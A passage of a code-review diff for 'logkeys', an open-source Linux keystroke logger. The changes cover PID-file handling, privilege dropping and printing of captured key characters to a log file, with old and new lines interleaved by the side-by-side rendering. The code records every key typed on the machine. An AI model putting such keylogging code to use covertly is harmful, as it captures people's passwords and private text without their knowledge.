error(EXIT_FAILURE, errno, "Another process already running (" PID_FILE ")? (Quitting.)");
else
error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
} //\ temp file
// open input device for reading // open input device for reading
input_fd = open(args.device, O_RDONLY); input_fd = open(args.device, O_RDONLY);
if (input_fd == -1) { if (input_fd == -1) {
remove(PID_FILE);
error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device); error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device);
} }
// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't! // if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
args.logfile = realpath(args.logfile, NULL); // avoid relative paths
if (strcmp(args.logfile, DEFAULT_LOG_FILE) != 0) { if (strcmp(args.logfile, DEFAULT_LOG_FILE) != 0) {
seteuid(getuid()); seteuid(getuid());
setegid(getgid()); setegid(getgid());
} }
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions) // open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
umask(0177); umask(0177);
stdout = freopen(args.logfile, "a", stdout); stdout = freopen(args.logfile, "a", stdout);
if (stdout == NULL) { if (stdout == NULL) {
remove(PID_FILE);
error(0, errno, "Error opening output file '%s'", args.logfile); error(0, errno, "Error opening output file '%s'", args.logfile);
free(args.logfile); // free memory allocated by realpath()
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
free(args.logfile); // free memory allocated by realpath()
// we've got everything we need, now drop privileges by becoming 'nobody' // now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0);
create_PID_file();
// now we've got everything we need, finally drop privileges by becoming 'nobody'
setegid(65534); seteuid(65534); setegid(65534); seteuid(65534);
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>) unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
...@@ -464,14 +483,15 @@ int main(int argc, char **argv) ...@@ -464,14 +483,15 @@ int main(int argc, char **argv)
fprintf(stdout, "Logging started ...\n%s", timestamp); fprintf(stdout, "Logging started ...\n%s", timestamp);
fflush(stdout); fflush(stdout);
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
// these event.value-s aren't defined in <linux/input.h> ? // these event.value-s aren't defined in <linux/input.h> ?
#define EV_MAKE 1 // when key pressed #define EV_MAKE 1 // when key pressed
#define EV_BREAK 0 // when key released #define EV_BREAK 0 // when key released
#define EV_REPEAT 2 // when key switches to repeating after short delay #define EV_REPEAT 2 // when key switches to repeating after short delay
while (read(input_fd, &event, sizeof(struct input_event)) > 0) { // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY
scan_code = event.code; scan_code = event.code;
...@@ -518,24 +538,33 @@ int main(int argc, char **argv) ...@@ -518,24 +538,33 @@ int main(int argc, char **argv)
if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL)
ctrl_in_effect = true; ctrl_in_effect = true;
// print character or string coresponding to received keycode // print character or string coresponding to received keycode; only print chars when not \0
if (is_char_key(scan_code)) { if (is_char_key(scan_code)) {
wchar_t wch;
if (altgr_in_effect) { if (altgr_in_effect) {
wchar_t wch = altgr_keys[to_char_keys_index(scan_code)]; wch = altgr_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch); if (wch != L'\0') fprintf(stdout, "%lc", wch);
else if (shift_in_effect) else if (shift_in_effect) {
fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]); wch = shift_keys[to_char_keys_index(scan_code)];
else if (wch != L'\0') fprintf(stdout, "%lc", wch);
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); }
else {
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
} }
else if (shift_in_effect) else if (shift_in_effect) {
fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]); wch = shift_keys[to_char_keys_index(scan_code)];
else if (wch != L'\0') fprintf(stdout, "%lc", wch);
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); }
else {
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
} }
else if (is_func_key(scan_code)) { else if (is_func_key(scan_code)) {
if (!args.nofunc) { // only log function keys if --no-func-keys not requested if (!args.nofunc) { // only log function keys if --no-func-keys not requested
fprintf(stdout, "%s", func_keys[to_func_keys_index(scan_code)]); fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
} }
else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
// but always log a single space for Space and Tab keys // but always log a single space for Space and Tab keys
...@@ -543,7 +572,7 @@ int main(int argc, char **argv) ...@@ -543,7 +572,7 @@ int main(int argc, char **argv)
} }
} }
else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
} } // if (EV_MAKE)
// on key release // on key release
if (event.value == EV_BREAK) { if (event.value == EV_BREAK) {
...@@ -565,10 +594,14 @@ int main(int argc, char **argv) ...@@ -565,10 +594,14 @@ int main(int argc, char **argv)
fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp); fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp);
fclose(stdout); fclose(stdout);
close(input_fd);
close(temp_fd);
remove(PID_FILE); remove(PID_FILE);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} } // main()
} // namespace logkeys
int main(int argc, char** argv) {
logkeys::main(argc, argv);
}
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment